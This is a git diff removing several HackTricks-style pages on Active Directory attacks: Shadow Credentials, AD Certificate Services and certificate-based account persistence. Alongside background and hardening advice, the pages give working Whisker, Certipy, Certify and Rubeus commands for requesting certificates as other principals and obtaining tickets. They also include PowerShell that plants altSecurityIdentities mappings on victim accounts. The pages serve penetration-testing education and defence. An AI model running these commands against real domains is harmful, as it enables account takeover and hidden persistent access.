-- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
-- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
-- [Samba – net rpc (group membership)](https://www.samba.org/)
-- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
-- [TrustedSec - ARP Around and Find Out: Hijacking GPO UNC Paths for Code Execution and NTLM Relay](https://trustedsec.com/blog/arp-around-and-find-out-hijacking-gpo-unc-paths-for-code-execution-and-ntlm-relay)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
deleted file mode 100644
index f9d1b881c47..00000000000
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# Shadow Credentials
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Intro <a href="#3f17" id="3f17"></a>
-
-**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
-
-As **summary**: if you can write to the **msDS-KeyCredentialLink** property of a user/computer, you can retrieve the **NT hash of that object**.
-
-In the post, a method is outlined for setting up **public-private key authentication credentials** to acquire a unique **Service Ticket** that includes the target's NTLM hash. This process involves the encrypted NTLM_SUPPLEMENTAL_CREDENTIAL within the Privilege Attribute Certificate (PAC), which can be decrypted.
-
-### Requirements
-
-To apply this technique, certain conditions must be met:
-
-- A minimum of one Windows Server 2016 Domain Controller is needed.
-- The Domain Controller must have a server authentication digital certificate installed.
-- The Active Directory must be at the Windows Server 2016 Functional Level.
-- An account with delegated rights to modify the msDS-KeyCredentialLink attribute of the target object is required.
-
-## Abuse
-
-The abuse of Key Trust for computer objects encompasses steps beyond obtaining a Ticket Granting Ticket (TGT) and the NTLM hash. The options include:
-
-1. Creating an **RC4 silver ticket** to act as privileged users on the intended host.
-2. Using the TGT with **S4U2Self** for impersonation of **privileged users**, necessitating alterations to the Service Ticket to add a service class to the service name.
-
-A significant advantage of Key Trust abuse is its limitation to the attacker-generated private key, avoiding delegation to potentially vulnerable accounts and not requiring the creation of a computer account, which could be challenging to remove.
-
-## Tools
-
-### [**Whisker**](https://github.com/eladshamir/Whisker)
-
-It's based on DSInternals providing a C# interface for this attack. Whisker and its Python counterpart, **pyWhisker**, enable manipulation of the `msDS-KeyCredentialLink` attribute to gain control over Active Directory accounts. These tools support various operations like adding, listing, removing, and clearing key credentials from the target object.
-
-**Whisker** functions include:
-
-- **Add**: Generates a key pair and adds a key credential.
-- **List**: Displays all key credential entries.
-- **Remove**: Deletes a specified key credential.
-- **Clear**: Erases all key credentials, potentially disrupting legitimate WHfB usage.
-
-```shell
-Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
-```
-
-### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
-
-It extends Whisker functionality to **UNIX-based systems**, leveraging Impacket and PyDSInternals for comprehensive exploitation capabilities, including listing, adding, and removing KeyCredentials, as well as importing and exporting them in JSON format.
-
-```shell
-python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
-```
-
-### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
-
-ShadowSpray aims to **exploit GenericWrite/GenericAll permissions that wide user groups may have over domain objects** to apply ShadowCredentials broadly. It entails logging into the domain, verifying the domain's functional level, enumerating domain objects, and attempting to add KeyCredentials for TGT acquisition and NT hash revelation. Cleanup options and recursive exploitation tactics enhance its utility.
-
-## References
-
-- [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
-- [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
-- [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
-- [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates.md b/src/windows-hardening/active-directory-methodology/ad-certificates.md
deleted file mode 100644
index 641f58cb63e..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates.md
+++ /dev/null
@@ -1,199 +0,0 @@
-# AD Certificates
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Introduction
-
-### Components of a Certificate
-
-- The **Subject** of the certificate denotes its owner.
-- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
-- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
-- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
-- The **Issuer** refers to the CA that has issued the certificate.
-- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
-- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
-- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
-- The **Signature Algorithm** specifies the method for signing the certificate.
-- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
-
-### Special Considerations
-
-- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
-
-### Certificate Authorities (CAs) in Active Directory (AD)
-
-AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
-
-- **Certification Authorities** container holds trusted root CA certificates.
-- **Enrolment Services** container details Enterprise CAs and their certificate templates.
-- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
-- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
-
-### Certificate Acquisition: Client Certificate Request Flow
-
-1. The request process begins with clients finding an Enterprise CA.
-2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
-3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
-4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
-
-### Certificate Templates
-
-Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
-
-**Template schema version matters.** Legacy **v1** templates (for example, the built-in **WebServer** template) lack several modern enforcement knobs. The **ESC15/EKUwu** research showed that on **v1 templates**, a requester can embed **Application Policies/EKUs** in the CSR that are **preferred over** the template's configured EKUs, enabling client-auth, enrollment agent, or code-signing certificates with only enrollment rights. Prefer **v2/v3 templates**, remove or supersede v1 defaults, and tightly scope EKUs to the intended purpose.
-
-## Certificate Enrollment
-
-The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
-
-For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
-
-### Template Enrollment Rights
-
-These rights are specified through Access Control Entries (ACEs), detailing permissions like:
-
-- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
-- **ExtendedRights**, allowing all extended permissions.
-- **FullControl/GenericAll**, providing complete control over the template.
-
-### Enterprise CA Enrollment Rights
-
-The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
-
-### Additional Issuance Controls
-
-Certain controls may apply, such as:
-
-- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
-- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
-
-### Methods to Request Certificates
-
-Certificates can be requested through:
-
-1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
-2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
-3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
-4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
-5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
-
-Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
-
-```bash
-# Example of requesting a certificate using PowerShell
-Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
-```
-
-## Certificate Authentication
-
-Active Directory (AD) supports certificate authentication, primarily utilizing **Kerberos** and **Secure Channel (Schannel)** protocols.
-
-### Kerberos Authentication Process
-
-In the Kerberos authentication process, a user's request for a Ticket Granting Ticket (TGT) is signed using the **private key** of the user's certificate. This request undergoes several validations by the domain controller, including the certificate's **validity**, **path**, and **revocation status**. Validations also include verifying that the certificate comes from a trusted source and confirming the issuer's presence in the **NTAUTH certificate store**. Successful validations result in the issuance of a TGT. The **`NTAuthCertificates`** object in AD, found at:
-
-```bash
-CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
-```
-
-is central to establishing trust for certificate authentication.
-
-Since the **KB5014754** rollout, modern Kerberos certificate auth is mostly about **mapping strength**, not just EKUs. In hardened forests:
-
-- A certificate that only carries a **UPN/DNS SAN** may no longer be enough for logon.
-- The KDC prefers a **strong binding**, typically the **SID security extension** (`1.3.6.1.4.1.311.25.2`) or a strong explicit mapping in `altSecurityIdentities`.
-- If the cert lacks a strong mapping, DCs log **Kdcsvc Event ID 39/41** in compatibility mode and deny auth in enforcement mode.
-- In mixed attack paths, **ESC9/ESC16** matter because they strip the SID extension from issued certs; operators then rely on explicit mappings or SAN URL SID formats where the attack path supports them.
-
-### Secure Channel (Schannel) Authentication
-
-Schannel facilitates secure TLS/SSL connections, where during a handshake, the client presents a certificate that, if successfully validated, authorizes access. The mapping of a certificate to an AD account may involve Kerberos’s **S4U2Self** function or the certificate’s **Subject Alternative Name (SAN)**, among other methods.
-
-Schannel is also the practical fallback when **PKINIT** is unavailable. For example, if a domain controller does not have a suitable **Smart Card Logon** certificate, `certipy auth`/PKINIT tooling may fail to get a TGT, but the same certificate can still be usable against **LDAPS** or **LDAP StartTLS** for authentication and LDAP operations.
-
-### AD Certificate Services Enumeration
-
-AD's certificate services can be enumerated through LDAP queries, revealing information about **Enterprise Certificate Authorities (CAs)** and their configurations. This is accessible by any domain-authenticated user without special privileges. Tools like **[Certify](https://github.com/GhostPack/Certify)** and **[Certipy](https://github.com/ly4k/Certipy)** are used for enumeration and vulnerability assessment in AD CS environments.
-
-Commands for using these tools include:
-
-```bash
-# Enumerate trusted root CA certificates, Enterprise CAs, and web endpoints
-Certify.exe cas
-
-# Identify vulnerable templates and dump relevant permissions
-Certify.exe find /vulnerable
-Certify.exe find /showAllPermissions
-Certify.exe pkiobjects /showAdmins
-
-# Certipy 5.x enumeration focused on enabled/vulnerable templates
-certipy find -enabled -vulnerable -hide-admins -u john@corp.local -p Passw0rd -dc-ip 10.10.10.10
-
-# Save JSON/CSV output for offline review or BloodHound correlation
-certipy find -json -output corp_adcs -u john@corp.local -p Passw0rd -dc-ip 10.10.10.10
-
-# Request a certificate over the Web Enrollment endpoint or DCOM/RPC
-certipy req -web -ca corp-CA -target ca.corp.local -template WebServer -upn john@corp.local -dns www.corp.local
-certipy req -ca corp-CA -target ca.corp.local -template User -upn administrator@corp.local -sid S-1-5-21-...-500
-
-# Use the issued certificate either for PKINIT or directly for LDAP Schannel auth
-certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
-certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell
-
-# Enumerate Enterprise CAs and certificate templates with certutil
-certutil.exe -TCAInfo
-certutil -v -dstemplate
-```
-
-{{#ref}}
-ad-certificates/domain-escalation.md
-{{#endref}}
-
----
-
-## Recent Vulnerabilities & Security Updates (2022-2025)
-
-| Year | ID / Name | Impact | Key Take-aways |
-|------|-----------|--------|----------------|
-| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Privilege escalation* by spoofing machine account certificates during PKINIT. | Patch is included in the **May 10 2022** security updates. Auditing & strong-mapping controls were introduced via **KB5014754**; environments should now be in *Full Enforcement* mode.  |
-| 2023 | **CVE-2023-35350 / 35351** | *Remote code-execution* in the AD CS Web Enrollment (certsrv) and CES roles. | Public PoCs are limited, but the vulnerable IIS components are often exposed internally. Patch as of **July 2023** Patch Tuesday.  |
-| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | On **v1 templates**, a requester with enrollment rights can embed **Application Policies/EKUs** in the CSR that are preferred over the template EKUs, producing client-auth, enrollment agent, or code-signing certificates. | Patched as of **November 12, 2024**. Replace or supersede v1 templates (e.g., default WebServer), restrict EKUs to intent, and limit enrollment rights. |
-
-### Microsoft hardening timeline (KB5014754)
-
-Microsoft introduced a three-phase rollout (Compatibility → Audit → Enforcement) to move Kerberos certificate authentication away from weak implicit mappings. As of **February 11, 2025**, domain controllers automatically switch to **Full Enforcement** if the `StrongCertificateBindingEnforcement` registry value is not set. Microsoft later updated the timeline so fallback to compatibility mode remains possible until the **September 9, 2025** security update. Administrators should:
-
-1. Patch all DCs & AD CS servers (May 2022 or later).
-2. Monitor Event ID 39/41 for weak mappings during the *Audit* phase.
-3. Re-issue client-auth certificates with the new **SID extension** or configure strong manual mappings before enforcement blocks weak mappings.
-
-### Operator notes for hardened forests
-
-- **ESC1/ESC6 alone is no longer the whole story** in 2025+ environments. If you request a cert for another principal, you usually also need a strong mapping artifact such as the SID extension or an explicit mapping.
-- **ESC15 (EKUwu)** is mostly valuable in unpatched environments because it turns harmless **v1** templates such as **WebServer** into authentication- or enrollment-agent-capable certs by injecting **Application Policies**. Kerberos PKINIT still evaluates EKUs, but **LDAP Schannel** also honors Application Policies, which keeps LDAP-based abuse relevant.
-- **ESC16** is a CA-wide knob: if the CA disables the SID security extension globally, every issued certificate falls back toward weaker mapping behavior unless the attack chain injects a SID by another supported format.
-
----
-
-## Detection & Hardening Enhancements
-
-* **Defender for Identity AD CS sensor (2023-2024)** now surfaces posture assessments for ESC1-ESC8/ESC11 and generates real-time alerts such as *“Domain-controller certificate issuance for a non-DC”* (ESC8) and *“Prevent Certificate Enrollment with arbitrary Application Policies”* (ESC15). Ensure sensors are deployed to all AD CS servers to benefit from these detections. 
-* Disable or tightly scope the **“Supply in the request”** option on all templates; prefer explicitly defined SAN/EKU values.
-* Remove **Any Purpose** or **No EKU** from templates unless absolutely required (addresses ESC2 scenarios).
-* Require **manager approval** or dedicated Enrollment Agent workflows for sensitive templates (e.g., WebServer / CodeSigning).
-* Restrict web enrollment (`certsrv`) and CES/NDES endpoints to trusted networks or behind client-certificate authentication.
-* Enforce RPC enrollment encryption (`certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST`) to mitigate ESC11 (RPC relay). The flag is **on by default**, but is often disabled for legacy clients, which re-opens relay risk.
-* Secure **IIS-based enrollment endpoints** (CES/Certsrv): disable NTLM where possible or require HTTPS + Extended Protection to block ESC8 relays.
-
----
-
-
-
-## References
-
-- [https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
-- [https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16](https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16)
-- [https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates](https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates)
-- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
deleted file mode 100644
index 2b5b7ab2cdb..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md
+++ /dev/null
@@ -1,141 +0,0 @@
-# AD Certificates
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Introduction
-
-### Components of a Certificate
-
-- The **Subject** of the certificate denotes its owner.
-- A **Public Key** is paired with a privately held key to link the certificate to its rightful owner.
-- The **Validity Period**, defined by **NotBefore** and **NotAfter** dates, marks the certificate's effective duration.
-- A unique **Serial Number**, provided by the Certificate Authority (CA), identifies each certificate.
-- The **Issuer** refers to the CA that has issued the certificate.
-- **SubjectAlternativeName** allows for additional names for the subject, enhancing identification flexibility.
-- **Basic Constraints** identify if the certificate is for a CA or an end entity and define usage restrictions.
-- **Extended Key Usages (EKUs)** delineate the certificate's specific purposes, like code signing or email encryption, through Object Identifiers (OIDs).
-- The **Signature Algorithm** specifies the method for signing the certificate.
-- The **Signature**, created with the issuer's private key, guarantees the certificate's authenticity.
-
-### Special Considerations
-
-- **Subject Alternative Names (SANs)** expand a certificate's applicability to multiple identities, crucial for servers with multiple domains. Secure issuance processes are vital to avoid impersonation risks by attackers manipulating the SAN specification.
-
-### Certificate Authorities (CAs) in Active Directory (AD)
-
-AD CS acknowledges CA certificates in an AD forest through designated containers, each serving unique roles:
-
-- **Certification Authorities** container holds trusted root CA certificates.
-- **Enrolment Services** container details Enterprise CAs and their certificate templates.
-- **NTAuthCertificates** object includes CA certificates authorized for AD authentication.
-- **AIA (Authority Information Access)** container facilitates certificate chain validation with intermediate and cross CA certificates.
-
-### Certificate Acquisition: Client Certificate Request Flow
-
-1. The request process begins with clients finding an Enterprise CA.
-2. A CSR is created, containing a public key and other details, after generating a public-private key pair.
-3. The CA assesses the CSR against available certificate templates, issuing the certificate based on the template's permissions.
-4. Upon approval, the CA signs the certificate with its private key and returns it to the client.
-
-### Certificate Templates
-
-Defined within AD, these templates outline the settings and permissions for issuing certificates, including permitted EKUs and enrollment or modification rights, critical for managing access to certificate services.
-
-## Certificate Enrollment
-
-The enrollment process for certificates is initiated by an administrator who **creates a certificate template**, which is then **published** by an Enterprise Certificate Authority (CA). This makes the template available for client enrollment, a step achieved by adding the template's name to the `certificatetemplates` field of an Active Directory object.
-
-For a client to request a certificate, **enrollment rights** must be granted. These rights are defined by security descriptors on the certificate template and the Enterprise CA itself. Permissions must be granted in both locations for a request to be successful.
-
-### Template Enrollment Rights
-
-These rights are specified through Access Control Entries (ACEs), detailing permissions like:
-
-- **Certificate-Enrollment** and **Certificate-AutoEnrollment** rights, each associated with specific GUIDs.
-- **ExtendedRights**, allowing all extended permissions.
-- **FullControl/GenericAll**, providing complete control over the template.
-
-### Enterprise CA Enrollment Rights
-
-The CA's rights are outlined in its security descriptor, accessible via the Certificate Authority management console. Some settings even allow low-privileged users remote access, which could be a security concern.
-
-### Additional Issuance Controls
-
-Certain controls may apply, such as:
-
-- **Manager Approval**: Places requests in a pending state until approved by a certificate manager.
-- **Enrolment Agents and Authorized Signatures**: Specify the number of required signatures on a CSR and the necessary Application Policy OIDs.
-
-### Methods to Request Certificates
-
-Certificates can be requested through:
-
-1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), using DCOM interfaces.
-2. **ICertPassage Remote Protocol** (MS-ICPR), through named pipes or TCP/IP.
-3. The **certificate enrollment web interface**, with the Certificate Authority Web Enrollment role installed.
-4. The **Certificate Enrollment Service** (CES), in conjunction with the Certificate Enrollment Policy (CEP) service.
-5. The **Network Device Enrollment Service** (NDES) for network devices, using the Simple Certificate Enrollment Protocol (SCEP).
-
-Windows users can also request certificates via the GUI (`certmgr.msc` or `certlm.msc`) or command-line tools (`certreq.exe` or PowerShell's `Get-Certificate` command).
-
-```bash
-# Example of requesting a certificate using PowerShell
-Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
-```
-
-## Certificate Authentication
-
-Active Directory (AD) supports certificate authentication, primarily utilizing **Kerberos** and **Secure Channel (Schannel)** protocols.
-
-### Kerberos Authentication Process
-
-In the Kerberos authentication process, a user's request for a Ticket Granting Ticket (TGT) is signed using the **private key** of the user's certificate. This request undergoes several validations by the domain controller, including the certificate's **validity**, **path**, and **revocation status**. Validations also include verifying that the certificate comes from a trusted source and confirming the issuer's presence in the **NTAUTH certificate store**. Successful validations result in the issuance of a TGT. The **`NTAuthCertificates`** object in AD, found at:
-
-```bash
-CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
-```
-
-is central to establishing trust for certificate authentication.
-
-### Secure Channel (Schannel) Authentication
-
-Schannel facilitates secure TLS/SSL connections, where during a handshake, the client presents a certificate that, if successfully validated, authorizes access. The mapping of a certificate to an AD account may involve Kerberos’s **S4U2Self** function or the certificate’s **Subject Alternative Name (SAN)**, among other methods.
-
-### AD Certificate Services Enumeration
-
-AD's certificate services can be enumerated through LDAP queries, revealing information about **Enterprise Certificate Authorities (CAs)** and their configurations. This is accessible by any domain-authenticated user without special privileges. Tools like **[Certify](https://github.com/GhostPack/Certify)** and **[Certipy](https://github.com/ly4k/Certipy)** are used for enumeration and vulnerability assessment in AD CS environments.
-
-Commands for using these tools include:
-
-```bash
-# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
-# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks
-Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks]
-
-# Identify vulnerable certificate templates and filter for common abuse cases
-Certify.exe find
-Certify.exe find /vulnerable [/currentuser]
-Certify.exe find /enrolleeSuppliesSubject   # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
-Certify.exe find /clientauth                # templates with client-auth EKU
-Certify.exe find /showAllPermissions        # include template ACLs in output
-Certify.exe find /json /outfile:C:\Temp\adcs.json
-
-# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery
-Certify.exe pkiobjects [/domain:domain.local] [/showAdmins]
-
-# Use Certipy for enumeration and identifying vulnerable templates
-certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
-
-# Enumerate Enterprise CAs and certificate templates with certutil
-certutil.exe -TCAInfo
-certutil -v -dstemplate
-```
-
-## References
-
-- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
-- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)
-- [GhostPack/Certify](https://github.com/GhostPack/Certify)
-- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
-
-{{#include ../../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
deleted file mode 100644
index 391c8568e2a..00000000000
--- a/src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
+++ /dev/null
@@ -1,215 +0,0 @@
-# AD CS Account Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**This is a small summary of the account persistence chapters of the awesome research from [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
-
-## Understanding Active User Credential Theft with Certificates – PERSIST1
-
-In a scenario where a certificate that allows domain authentication can be requested by a user, an attacker has the opportunity to request and steal this certificate to maintain persistence on a network. By default, the `User` template in Active Directory allows such requests, though it may sometimes be disabled.
-
-Using [Certify](https://github.com/GhostPack/Certify) or [Certipy](https://github.com/ly4k/Certipy), you can search for enabled templates that allow client authentication and then request one:
-
-```bash
-# Enumerate client-auth capable templates
-Certify.exe find /clientauth
-
-# Newer Certify 2.0 syntax with filtering to enabled client-auth templates
-Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
-
-# Request a user cert from an Enterprise CA (current user context)
-Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
-
-# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
-certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
-```
-
-A certificate’s power lies in its ability to authenticate as the user it belongs to, regardless of password changes, as long as the certificate remains valid.
-
-You can convert PEM to PFX and use it to obtain a TGT:
-
-```bash
-# Convert PEM returned by Certify to PFX
-openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
-
-# Use certificate for PKINIT and inject the TGT
-Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
-
-# Or with Certipy
-certipy auth -pfx user.pfx -dc-ip 10.0.0.10
-```
-
-> Note: Combined with other techniques (see THEFT sections), certificate-based auth allows persistent access without touching LSASS and even from non-elevated contexts.
-
-## Gaining Machine Persistence with Certificates - PERSIST2
-
-If an attacker has elevated privileges on a host, they can enroll the compromised system’s machine account for a certificate using the default `Machine` template. Authenticating as the machine enables S4U2Self for local services and can provide durable host persistence:
-
-```bash
-# Request a machine certificate as SYSTEM
-Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:Machine /machine
-
-# Authenticate as the machine using the issued PFX
-Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
-```
-
-## Extending Persistence Through Certificate Renewal - PERSIST3
-
-Abusing the validity and renewal periods of certificate templates lets an attacker maintain long-term access. If you possess a previously issued certificate and its private key, you can renew it before expiration to obtain a fresh, long-lived credential without leaving additional request artifacts tied to the original principal.
-
-```bash
-# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
-# Provide the existing PFX and target the same CA/template when possible
-certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
-            -template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
-
-# Native Windows renewal with certreq
-# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
-certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
-```
-
-> Operational tip: Track lifetimes on attacker-held PFX files and renew early. Renewal can also cause updated certificates to include the modern SID mapping extension, keeping them usable under stricter DC mapping rules (see next section).
-
-## Planting Explicit Certificate Mappings (altSecurityIdentities) – PERSIST4
-
-If you can write to a target account’s `altSecurityIdentities` attribute, you can explicitly map an attacker-controlled certificate to that account. This persists across password changes and, when using strong mapping formats, remains functional under modern DC enforcement.
-
-High-level flow:
-
-1. Obtain or issue a client-auth certificate you control (e.g., enroll `User` template as yourself).
-2. Extract a strong identifier from the cert (Issuer+Serial, SKI, or SHA1-PublicKey).
-3. Add an explicit mapping on the victim principal’s `altSecurityIdentities` using that identifier.
-4. Authenticate with your certificate; the DC maps it to the victim via the explicit mapping.
-
-Example (PowerShell) using a strong Issuer+Serial mapping:
-
-```powershell
-# Example values - reverse the issuer DN and serial as required by AD mapping format
-$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'
-$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
-$Map     = "X509:<I>$Issuer<SR>$SerialR"
-
-# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
-Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
-```
-
-Then authenticate with your PFX. Certipy will obtain a TGT directly:
-
-```bash
-certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
-
-# If PKINIT is unavailable on the DC, reuse the same persisted cert via Schannel/LDAPS
-certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 -ldap-shell
-```
-
-### Building Strong `altSecurityIdentities` Mappings
-
-In practice, **Issuer+Serial** and **SKI** mappings are the easiest strong formats to build from an attacker-held certificate. This matters after **February 11, 2025**, when DCs default to **Full Enforcement** and weak mappings stop being reliable.
-
-```bash
-# Extract issuer, serial and SKI from a cert/PFX
-openssl pkcs12 -in attacker_user.pfx -clcerts -nokeys -out attacker_user.crt
-openssl x509 -in attacker_user.crt -noout -issuer -serial -ext subjectKeyIdentifier
-```
-
-```powershell
-# Example strong SKI mapping for a user or computer object
-$Map = 'X509:<SKI>9C4D7E8A1B2C3D4E5F60718293A4B5C6D7E8F901'
-Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
-# Set-ADComputer -Identity 'WS01$' -Add @{altSecurityIdentities=$Map}
-```
-
-Notes
-- Use strong mapping types only: `X509IssuerSerialNumber`, `X509SKI`, or `X509SHA1PublicKey`. Weak formats (Subject/Issuer, Subject-only, RFC822 email) are deprecated and can be blocked by DC policy.
-- The mapping works on both **user** and **computer** objects, so write access to a computer account's `altSecurityIdentities` is enough to persist as that machine.
